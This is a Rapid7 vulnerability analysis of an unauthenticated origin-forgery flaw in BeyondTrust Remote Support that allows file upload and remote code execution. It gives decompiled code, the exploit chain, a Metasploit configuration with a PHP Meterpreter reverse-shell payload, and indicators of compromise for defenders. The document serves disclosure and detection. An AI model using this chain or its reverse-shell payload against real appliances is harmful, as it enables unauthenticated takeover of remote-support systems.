Rapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764)
Overview An origin-validation flaw in BeyondTrust Remote Support lets an unauthenticated attacker write files on the appliance and execute code as the site's operating-system user. The entry point is the public customer connection used to start a support session. No account credentials or user interaction are required. The flaw sits between the internal message router, brain , and an appliance-side customer worker, thin-scc . An attacker can put a reserved local router ID into a message's source address. The router forwards the message, and the worker accepts that address as proof that the request came from a local component. This gives the attacker access to an internal file-transfer service, including its native filesystem provider. We first confirmed the file write then used the primitive to upload a PHP file to the site's public directory. Requesting that file gave us code execution as the site user. A Metasploit module now implements the chain with PHP and Unix Command targets. We tested Remote Support 24.1.2, build 1524046 , revision 4208-ddcf90715106aa0c0e19c103f8d2c412af4beff3 . The test appliance had public issue-menu session starts and thin chat enabled (default). Other affected releases and fixed builds have not been established. The VM's base appliance version of Secure Remote Access, 7.1.0 , is separate from the Remote Support application version. Impact The attacker controls both the contents of an uploaded file and its destination path, subject to the worker's filesystem permissions. The same origin forgery also reaches the file-send operation. We used it to retrieve /proc/self/environ to determine the base installation path of the Remote Support before dropping the payload On the tested appliance, the native file service could write into the PHP document root. The Metasploit module returns code execution in the context of msfuser , UID 1000, which establishes unauthenticated remote code execution as the site user. Technical Analysis We will demonstrate how an attacker can start an anonymous session and then forge a message that the appliance will accept as local. Then outline how we can reach the native file transfer service, choose the uploaded file’s contents and destination and turn the file write into PHP execution. Addresses use Ghidra image base 0x100000 . Subtract that value for the raw ELF virtual address. Function names beginning with FUN_ are Ghidra labels; descriptive names are taken from diagnostic strings where available. Starting an anonymous customer session We begin by obtaining two customer keys from POST /api/start_session . These are fresh public guest sessions. The keys let the client use the customer transport, but do not identify a logged-in account. Each guest connects through the /nw WebSocket endpoint, using either the native or thin customer protocol. source/app/write_app_chooser_config: echo "ingredi support desk customer:|$BG_app_root/data/tmp/brain.sock" # [A1] echo "ingredi support desk customer thin:$BG_app_root/app/thin-scc-wrapper" # [A2] app/write_app_chooser_config shows where the two customer protocols go. The native protocol reaches the brain socket at [A1] ; the thin protocol launches a wrapper at [A2] . source/app/thin-scc-wrapper: # ... omitted: protocol parsing and the alternative debug-site branch ... quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote) if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration>NOW())" | $db) != "1" ]]; then # [A3] echo "1 failure" >&0 exit 0 fi # ... omitted: reconnect throttling, customer-name setup, and settings generation ... app/thin-scc-wrapper checks that the thin customer's key belongs to an unexpired sdcust session at [A3] . A key obtained through the public session-start endpoint passes this check. app/thin-scc-wrapper , after the session check: echo "0 success" >&0 workDir=`handleThinMint "$thinMint"` || exit if [[ ! -f "$workDir/thin-scc" ]]; then pushd "$workDir" cp $ingrediRoot/app/thin-scc . # ... omitted: license, image, and settings.ini setup ... else pushd "$workDir" fi export BRAIN_MELD_SOCKET_PATH=$ingrediRoot/data/tmp/brain.sock # ... omitted: server-side environment initialization ... ./thin-scc # [A4] Starts the worker inside the appliance environment. exitStatus=$? The same wrapper then prepares a working directory and starts thin-scc at [A4] . This process runs on the appliance, even though it is handling an anonymous customer's thin session. The native connection gives us a client for the internal message-routing system, referred to here as MRS. The thin connection gives us an appliance-side worker to address. Neither step requires a representative to accept the session. A network message can claim to be local MRS addresses have three parts: node:router:handler . Each message carries source and destination addresses in a 36-byte header made up of nine little-endian 32-bit fields. Header offset Field Value used by the exploit 0x04 Source node The customer's normal node 0x08 Source router Changed to the reserved value 1 0x0c Destination node The worker's node 0x10 Destination router The worker's router 0x14 Destination handler Main dispatcher, 2048 , on the tested build 0x24 Payload Service name, newline, then packed fields app/brain — ingress check: if (*(int *)((long)param_2 + 0xc) == *(int *)(param_1 + 0x10)) { *(uint *)(param_2 + 4) = (uint)*(byte *)(param_2 + 4); if ((*(int *)(param_2 + 1) == *(int *)((long)param_1 + 0x84)) && (param_3 != (ulong **)0x0)) { // [B1] Rejects a network claim of this router's actual ID. if (lRam0000000001ec8610 != 0) { func_0x0168de00( 0x15, 3, "dropping spoofed message that came in from the network but has a routerID of our own\n" ); } } else if (*(int *)((long)param_1 + 0x84) == *(int *)(param_2 + 2)) { // ... omitted: delivery to a handler on this router ... } else { // ... omitted: TTL checks, route lookup, and forwarding branches ... } } app/brain has an anti-spoofing check in FUN_01566ae0 , identified by its handleMessageFromOtherRouter diagnostic. At [B1] , it rejects a network packet whose source router matches the receiving router's actual ID. Here, param_1 is the receiving router, param_2 is the packet, and param_3 is the incoming connection. Because param_2 points to eight-byte elements, *(int *)(param_2 + 1) reads the source router at byte offset 0x08 . That leaves a gap: the check compares against the actual router ID, while downstream code also recognises a reserved local alias. On this appliance, the alias is 1 . // ... omitted: destination route resolution, loop checks, and diagnostic logging ... FUN_0155ec40( ppuStack_1300, ppuVar6, param_2, // [B2] Forwards the packet carrying the caller-supplied source router. (int *)((long)param_2 + 0x24) ); The forwarding path in the same app/brain function passes the packet onward at [B2] . It does not remove the source claim that matters to the worker's local-origin check. app/brain — local-address predicate: bool FUN_0155ad40(long param_1, int *param_2) { bool bVar1; bVar1 = false; if (*param_2 == *(int *)(param_1 + 0x80)) { // [C1] Address node must match the local node. bVar1 = true; if (param_2[1] != 1) { // [C2] Router 1 returns true without the actual-ID comparison. return *(int *)(param_1 + 0x84) == param_2[1]; } } return bVar1; } The local-address predicate makes the mismatch clear. In app/brain , FUN_0155ad40 first checks the node at [C1] . If that matches, router 1 is enough to return true at [C2] ; the comparison with the actual local router is skipped. The rule is effectively node AND (router == 1 OR router == actual local router) . An address supplied by a network client is being used to make that decision. app/thin-scc — message-origin wrapper: UNRECOVERED_JUMPTABLE = *(code **)(**(long **)(*param_1 + 8) + 0x50); (*UNRECOVERED_JUMPTABLE)( *(long **)(*param_1 + 8), param_1 + 0xb, // [C3] Uses the dispatched message's sender address at byte offset 0x58. UNRECOVERED_JUMPTABLE ); The corresponding message wrapper in app/thin-scc , passes the message's sender address into its router object's local-address predicate at [C3] . Ghidra did not recover a reliable prototype for this indirect call; the caller consumes its result as a boolean. We checked this behaviour with the same file-service request under two origins. The ordinary customer source produced no file-service connection during a two-second observation. Changing the source router to 1 caused the worker to accept it. Reaching the native file-transfer service In app/thin-scc , FUN_0047a850 dispatches file-transfer messages. app/thin-scc — file-transfer dispatcher: cVar3 = func_0x0068e930(param_2); // [D1] Locality is derived from the message sender address. if (cVar3 == '\0') { if (lRam00000000009bade8 != 0) { puVar5 = (undefined8 *)func_0x0068efe0(param_2); func_0x00309380(0x66, 3, "DISCARDING NONLOCAL MESSAGE: %s\n", *puVar5); } } else { func_0x0046d370(aplStack_68, "ftsName"); lVar7 = param_2 + 0x28; lVar1 = param_2 + 0x30; lVar6 = func_0x002a1970(lVar7, aplStack_68); if (lVar1 == lVar6) { puVar5 = (undefined8 *)0x9c3700; } else { puVar5 = (undefined8 *)(lVar6 + 0x40); } if ((puVar5[1] == *(long *)(param_1 + 0x2a8)) && ((puVar5[1] == 0 || (iVar4 = func_0x001804b0(*puVar5, *(undefined8 *)(param_1 + 0x2a0)), iVar4 == 0)))) { // [D2] Matches the requested filesystem service name. // ... omitted: string cleanup, optional reply check, and action dispatch shown below ... } // ... omitted: mismatched-name cleanup ... } It calls the origin wrapper at [D1] and discards a message if that wrapper says the sender is nonlocal. Once that check passes, [D2] matches ftsName against the service instance's name. The same function only validates responseAddress when the field is nonempty. The exploit omits it, taking the branch at [D3] . app/thin-scc , reply-address handling in FUN_0047a850 : func_0x0046d370(auStack_a8, "responseAddress"); lVar6 = func_0x002a1970(lVar7, auStack_a8); if (lVar6 == lVar1) { lVar6 = 0x9c3700; } else { lVar6 = lVar6 + 0x40; } if (*(long *)(lVar6 + 8) == 0) { // [D3] No reply-address validation when the field is empty. func_0x001edfe0(auStack_a8); } else { func_0x0046d370(auStack_88, "responseAddress"); lVar8 = func_0x002a1970(lVar7, auStack_88); lVar6 = lVar8 + 0x40; if (lVar8 == lVar1) { lVar6 = 0x9c3700; } func_0x006f2e80(auStack_b4, lVar6); func_0x0046d370(aplStack_68, "processMessage"); cVar3 = func_0x0068e950(param_2, aplStack_68, auStack_b4); // [D4] // ... omitted: temporary string destruction ... if (cVar3 == '\0') goto LAB_0047a8be; } The validator called at [D4] compares the reply address against the message's sender address. It does not independently establish where that sender came from, so making this field mandatory would not fix the origin forgery. app/thin-scc , action handling in FUN_0047a850 : // ... omitted: action extraction and unrelated action cases ... iVar4 = func_0x0046d240(uVar9, uVar2, "DownloadAnonymousFiles"); if (iVar4 == 0) { uVar9 = FUN_00475820(param_1, param_2); // [D5] Receives a file into the selected provider. goto LAB_0047a8c0; } // ... omitted: DownloadFiles case ... iVar4 = func_0x0046d240(uVar9, uVar2, "UploadFiles"); if (iVar4 == 0) { uVar9 = FUN_00477be0(param_1, param_2); // [D6] Sends a file from the selected provider. goto LAB_0047a8c0; } The dispatcher then exposes DownloadAnonymousFiles at [D5] and UploadFiles at [D6] . The action names describe the worker's side of the transfer. DownloadAnonymousFiles receives bytes onto the appliance; UploadFiles sends a file out. To upload our file, we ask the worker to download it from an MRS listener we control. The important thing to note here is that the worker has more than one filesystem provider. The session service delegates filesystem work to the browser. A successful transfer through that service does not prove a file was written on the appliance. The local service uses native file objects instead. app/thin-scc — native service construction: uVar3 = func_0x00770620(0x310); plVar4 = (long *)func_0x00770620(8); func_0x003454a0(plVar4); // [E1] Constructs the native filesystem provider. pplStack_c0 = (long **)0x0; plStack_c8 = plVar4; pplStack_c0 = (long **)func_0x00770620(0x18); plVar1 = _DAT_007d4de0; pplStack_c0[2] = plVar4; pplStack_c0[1] = plVar1; *pplStack_c0 = (long *)&UNK_0098cee0; plStack_60 = (long *)0x5; uStack_58 = (long *)CONCAT26(uStack_58._6_2_, 0x6c61636f6c); // [E2] ASCII "local". plStack_68 = &uStack_58; FUN_00472550(uVar3, &plStack_68, param_3, &plStack_c8); // [E3] Service receives name and provider. param_1[0x9d] = uVar3; // ... omitted: string/provider reference cleanup and other ServerContext services ... The ServerContext constructor in app/thin-scc , FUN_002ae620 , creates that native provider at [E1] . It builds the name local at [E2] and passes both to the file-transfer service constructor at [E3] . The exploit therefore uses ftsName=local . The native file factory analysis follows this provider to the native file and filesystem-info constructors. Choosing the file contents and destination app/thin-scc , FUN_00475820 , handles DownloadAnonymousFiles . app/thin-scc — anonymous-download request: // ... omitted: overwrite/resume options and transfer metadata setup ... func_0x0046d370(aplStack_128, "downloadToken"); lVar8 = func_0x002a1970(lVar12, aplStack_128); lVar6 = lVar8 + 0x40; if (lVar8 == param_2) { lVar6 = 0x9c3700; } func_0x001edf30(&puStack_68, lVar6); // [F1] Caller-supplied transfer token. func_0x0046d370(aplStack_148, "serverAddress"); lVar8 = func_0x002a1970(lVar12, aplStack_148); lVar6 = lVar8 + 0x40; if (lVar8 == param_2) { lVar6 = 0x9c3700; } func_0x006f2e80(auStack_1e4, lVar6); // [F2] Caller-supplied MRS file-server address. func_0x0046d370(aplStack_168, "path"); lVar8 = func_0x002a1970(lVar12, aplStack_168); lVar6 = lVar8 + 0x40; if (lVar8 == param_2) { lVar6 = 0x9c3700; } func_0x001edf30(aplStack_88, lVar6); // [F3] Caller-supplied destination path. uVar13 = (ulong)(iVar4 != 0); iStack_1e8 = func_0x004a21c0( param_1, aplStack_88, auStack_1e4, &puStack_68, auStack_198, iVar5 == 0 ); // [F4] Starts the download using the supplied path, server, and token. // ... omitted: temporary destruction and transfer-response construction ... The function reads the request's transfer token at [F1] , MRS server address at [F2] , and destination path at [F3] . All three reach the download routine at [F4] . In this excerpt, lVar12 points to the request's field map. param_2 has already been advanced to its map-end sentinel; 0x9c3700 represents an absent value. app/thin-scc — MRS download connection: (**(code **)(**(long **)(param_1 + 8) + 0x18))( &lStack_d8, *(long **)(param_1 + 8), param_3, 10000 ); // [G1] Connects to the serverAddress supplied to this routine as param_3. if ((lStack_d8 == 0) || ((*(char *)(lStack_d8 + 0x30) != '\0' && (*(char *)(lStack_d8 + 0x31) != '\0')))) { uVar4 = 0; } else { // ... omitted: request-map initialization ... func_0x00490020(&plStack_68, "request"); lVar5 = func_0x00202790(auStack_b8, &plStack_68); func_0x001f5f10( lVar5, 0, *(undefined8 *)(lVar5 + 8), "get anonymous file", 0x12 ); // [G2] // ... omitted: temporary key-string destruction ... func_0x00490020(&plStack_68, "token"); uVar6 = func_0x00202790(auStack_b8, &plStack_68); func_0x001ee710(uVar6, param_4); // [G3] Copies the caller's downloadToken. // ... omitted: info field, serialization, send, and receive-thread setup ... } The download routine at 0x004a21c0 opens an MRS stream to our address at [G1] . It sends get anonymous file at [G2] with our token at [G3] . The token can be a 24 character random string because we control the listener. // ... omitted: stream setup, relay metadata, and reference management ... puVar7 = (undefined8 *)func_0x00770620(0x450); // ... omitted: temporary setup and resume calculation ... func_0x004a0700(puVar7, param_1, param_5, bVar8, param_7, param_8); puVar7[0x81] = lStack_d8; puVar7[0x82] = lVar5; *puVar7 = &UNK_0099d3f8; // ... omitted: relay address and transfer bookkeeping ... func_0x001ee710(puVar7 + 0x13, param_2); // [G4] Retains the requested destination path. // ... omitted: transfer registration and reference management ... func_0x002fcae0(puVar7, 0x400000); // [G5] Starts the receive-files thread. The same app/thin-scc routine puts the destination path into a receive-files thread at [G4] and starts it at [G5] . app/thin-scc — receive-files loop: // ... omitted: "want file?" command match ... func_0x00490020(ppplVar20, "dest_filename"); uVar12 = func_0x00202790(plStack_888, ppplVar20); puStack_8b8 = &uStack_418; func_0x001edf30(puStack_8b8, uVar12); // [H1] Copies the destination from transfer metadata. // ... omitted: provider filesystem-info query and reference cleanup ... bStack_931 = *(byte *)(plStack_848 + 0x1c); pplStack_8d8 = (long **)(((ulong)pplStack_8d8 & 0xffffffffffffff00 | (ulong)bStack_931) ^ 1); puStack_900 = auStack_3f8; if (bStack_931 == 1) { func_0x001edf30(puStack_900, puStack_8b8); } else { func_0x001fabe0(puStack_900, puStack_8b8, ".n$t"); // [H2] Temporary receive path. } The receive loop at 0x001d6430 consumes the file metadata we send over that stream. It copies dest_filename at [H1] . Depending on the provider's file information, it receives into that path or a temporary path ending in .n$t at [H2] . // ... omitted: "begin file" handling and provider file-object creation ... func_0x00321f50(plStack_828, puStack_928); plVar11 = plStack_828; pcVar19 = *(code **)(*plStack_828 + 0xc0); func_0x00490020(ppplVar20, "a+b"); cVar5 = (*pcVar19)(plVar11, puStack_900, ppplVar20, lStack_908); // [H3] Opens the receive file. // ... omitted: open-failure handling, positioning, and transfer-loop branches ... iVar7 = (**(code **)(*plVar11 + 0x20))(plVar11, plVar1, pplVar21, pplVar25, 1); if (0 < iVar7) { pplStack_8d8 = (long **)(long)iVar7; lVar14 = *plStack_828; *(long *)(param_1 + 0x160) = (long)pplStack_8d8 + *(long *)(param_1 + 0x160); *(long *)(param_1 + 0x168) = (long)pplStack_8d8 + *(long *)(param_1 + 0x168); iVar9 = (**(code **)(lVar14 + 0xd8))(plStack_828, plVar1); // [H4] Writes received data. if (iVar7 != iVar9) { // ... omitted: errno extraction and "error writing to file" response ... } // ... omitted: progress and completion handling ... } After the omitted begin file code has executed, the same app/thin-scc receiver opens the file at [H3] and writes incoming data at [H4] . On completion, the receiver closes the file and, when a temporary path is used, renames it to the final destination. The service already accepts an absolute destination path, so no directory traversal is needed. The worker allows the request because it trusts the forged local source address. From file upload to PHP execution The next step is to choose a writable location that the web server would execute. The supplied config/apache_vhost.conf sets the document root to: /home/msfuser/ingredi-24.1.2/app/www/public An absolute upload into that directory succeeded. There is a small catch when requesting the file: a URL ending in .php returns 404, even while the file existed. app/www/public/.htaccess explains why. source/app/www/public/.htaccess: # ... omitted: application routes and compatibility rewrites ... RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[?/ ].*$" # [I1] Direct .php URLs return 404. RewriteRule .* - [L,R=404] # ... omitted: download-helper routes ... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}\.php -f # [I2] An extensionless URL executes the existing PHP file. RewriteRule ^(.+)$ $1.php [L] The rule at [I1] rejects a direct .php request. The rule at [I2] maps an extensionless URL to an existing PHP file. Requesting the uploaded basename without .php executed our payload. It returned its absolute filename, EUID 1000, and the output of id . We also wanted to avoid guessing Remote Support’s working directory or the versioned installation name. The same native service can send us the worker's /proc/self/environ using UploadFiles . On this appliance, it contains: BG_app_root=/home/msfuser/ingredi-24.1.2 BRAIN_MELD_SOCKET_PATH=/home/msfuser/ingredi-24.1.2/data/tmp/brain.sock BG_app_root gives us the installation directory directly. Appending /app/www/public gives the upload destination; the socket path provides another way to identify the same root. There is one protocol wrinkle: procfs reports the environment file's size as zero, but the worker still streams its contents. We have to read through the data stream's EOF instead of stopping at the advertised size. Exploit The Metasploit module carries out the chain using two fresh public customer sessions. It discovers the thin worker through Director.GetGatewaySessionValues for its own thin guest, sends the forged LocalFileTransfer request to the worker's main dispatcher, and serves the PHP bytes over its existing MRS connection. A separate upload server is not needed. The module writes a random PHP filename into the site's public directory, then POSTs an execution token to the extensionless URL. The PHP file checks that token and unlinks itself before executing the payload. Target 0 runs a PHP payload; target 1 wraps a Unix command in PHP. For a PHP Meterpreter payload, the basic configuration is: use exploit/linux/http/beyondtrust_rs_mrs_file_upload set RHOSTS 192.168.1.98 set TARGET 0 set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.68 run verbose=true Select target 0 and a compatible command payload, such as php/meterpreter/reverse_tcp . The module documentation covers the directory override and other options. Figure 1: Exploiting the anonymous file-transfer service with Metasploit. Testing produced two PHP Meterpreter sessions, a command-wrapped PHP Meterpreter session, and a Bash shell. Both targets also ran with AutoCheck disabled, and immediate repeat exploitation succeeded. The Bash shell returned: uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),16(cron),70(postgres) IOCs The excerpts below cover HTTP requests, native file-transfer activity in thin-scc , and customer connections recorded by brain . They come from our lab runs on 28–29 October 2026 . Original timestamps, addresses, and paths are retained; session and transfer tokens are redacted where noted. Unrelated entries are omitted. The site logs are stored under $BG_app_root/log/ , where BG_app_root identifies the Remote Support installation directory: Log Evidence shown below httpd_access.log Public session creation and requests to uploaded PHP endpoints thin-scc.log Native file-transfer stream creation and routing errors thin-scc-errors.log Rejected file-transfer requests, including the action and destination path brain.log Customer connection records with client addresses and timestamps Active workers also keep logs under $BG_app_root/data/tmp/sdcust_thin_client/<thinMint>/ ; the collection details below explain how these reach the site log directory. The installation path varies between appliances. Requests to an uploaded PHP endpoint The command-only Metasploit run created two public customer sessions, invoked its uploaded PHP endpoint, and then checked that the endpoint had gone. The relevant access-log lines are: 192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0] 192.168.1.68 [28/Oct/2026:21:12:23 +0000] "POST /api/start_session HTTP/1.1" [0s] [Stat:200] [Size:1481] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0] 192.168.1.68 [28/Oct/2026:21:12:31 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:200] [Size:0] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0] 192.168.1.68 [28/Oct/2026:21:12:38 +0000] "POST /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 14.7; rv:133.0) Gecko/20100101 Firefox/133.0] 192.168.1.68 [28/Oct/2026:21:12:43 +0000] "GET /qdgusthrmlirprls HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9] Here, /qdgusthrmlirprls mapped to qdgusthrmlirprls.php in the public directory. The first POST ran the command and returned 200. The later POST was the module's cleanup request; the GET independently checked the endpoint. Both received 404 after the file had deleted itself. This gives defenders a sequence to investigate: public session creation followed by a request to a new, unfamiliar endpoint, potentially followed by 404s for the same path. Session creation alone is normal Remote Support activity. A 200 followed by a 404 is also insufficient by itself; correlate the requests with file changes, session records, and any unusual outbound connections. The URL may not contain .php The earlier PHP canary produced these lines: 192.168.1.68 [28/Oct/2026:20:50:07 +0000] "GET /msfcanary03d80193f0880b.php HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9] 192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:200] [Size:368] [Ref:-] [UA:Python-urllib/3.9] 192.168.1.68 [28/Oct/2026:20:50:35 +0000] "GET /msfcanary03d80193f0880b HTTP/1.1" [0s] [Stat:404] [Size:18] [Ref:-] [UA:Python-urllib/3.9] The direct .php request failed, while the extensionless request executed the same file. The final 404 followed self-deletion. Detection that only searches for requests ending in .php would miss the successful request in this example. The native transfer itself travels inside the customer MRS connection. These access-log entries show the HTTP trigger, not the file contents or the forged router ID. The captured HTTP log does not expose the inner MRS messages, so it cannot establish the origin bypass on its own. Files and connections Look for unexpected PHP files under the site's public directory and receive files ending in .php.n$t . An interrupted transfer may leave the temporary file even if the final URL returns 404. The .n$t suffix also belongs to the normal transfer implementation, so its presence needs context. Native file-transfer traces thin-scc.log and thin-scc-errors.log contain more direct evidence of the file-service requests. For example, this line from thin-scc-errors.log names the action, native provider, and intended PHP destination. Only ckey and downloadToken have been redacted: 20261029 17:01:33 999999 thin-scc 11801:proc{LocalFileTransfer}(t11832) FT:WARNING>DISCARDING NONLOCAL MESSAGE: LocalFileTransfer:action=DownloadAnonymousFiles;ckey=<REDACTED>;downloadToken=<REDACTED>;enableResume=0;ftsName=local;path=/home/msfuser/ingredi-24.1.2/app/www/public/envresolve28f788af6a1c39bf.php;serverAddress=1:1022182175:9000;wantOverwritePrompts=0 This was our negative control: the request used the customer's ordinary source address and was rejected. It is evidence of an attempted invocation, not a successful upload. The forged local source passes the check that produces this warning, so a successful exploit need not leave a DISCARDING NONLOCAL MESSAGE entry. The successful PHP module run left these lines in thin-scc.log : 20261029 17:06:37 319 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_STREAM:INFO>createStream: connecting to address 1:1129726787:1031 20261029 17:06:37 2 thin-scc 14419:proc{LocalFileTransfer}(t14486) MRS_CL:ERROR>nodeID not found in node list even after renumerating: 0 20261029 17:06:37 0 thin-scc 14419:proc{LocalFileTransfer}(t14486) MSG_DSP:ERROR>failed to create a mailbox for sending to: 0:0:0 Our requests omit responseAddress . The handler starts the transfer, then tries to send its action response to an empty address. That produces the 0:0:0 error without preventing the file write. The payload callback independently confirms execution at 17:06:37 . Look for this combination in the proc{LocalFileTransfer} context, especially around unfamiliar PHP requests or outbound connections. The 1:1129726787:1031 value identifies an internal MRS mailbox; use the brain connection records below for the client IP. These entries do not identify the written filename or prove execution on their own. The empty-address errors also depend on how the exploit request is constructed; another implementation may leave different traces. Brain connection records brain.log helps link the activity to a client address. These two entries preceded the same module run: 20261029 17:06:30 0 brain 6339:lstner(t06500) BRN_LSTN:INFO>received fd: 47 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '0' 20261029 17:06:30 0 brain 6339:lstner(t06500) BRN_LSTN:INFO>received fd: 49 app name: 'ingredi support desk customer' and remoteIPAddress: '192.168.1.68' and localIPAddress: '192.168.1.98' and isLoopback '1' These are useful for a timeline, but customer connections are normal activity. We found no UploadFiles or DownloadAnonymousFiles action records in the captured brain logs. Generic EOF, connection-reset, and conference errors also appeared; they are too broad to treat as exploit indicators by themselves. Where to collect the native logs The aggregated logs are under $BG_app_root/log/ . While a worker is running, its own logs are under $BG_app_root/data/tmp/sdcust_thin_client/<thinMint>/ . The wrapper appends those logs to the site's log directory when the worker exits, then clears the per-worker copies. Collect both locations when investigating a live session. The captured brain.ini and thin-scc.ini both had the debug output disabled with enabled=0 . No debug log was captured, and we did not change the logging configuration. Brain's debug configuration also limits MRS_* categories to Info , so enabling its debug output alone would not guarantee detailed message payloads. Names such as UploadFileStarted and DownloadFileEnded occur in the native protocol's callback code, but we did not find them in the collected logs. They should not be presented as default audit events
Get stories like this every Monday
The week's most important AI news in one email. Free, unsubscribe anytime.
Score: 2.97
Engagement proxy: 0
Canonical link: https://www.rapid7.com/blog/post/ra-rapid7-analysis-unauthenticated-file-upload-to-rce-in-beyondtrust-remote-support-cve-2026-102764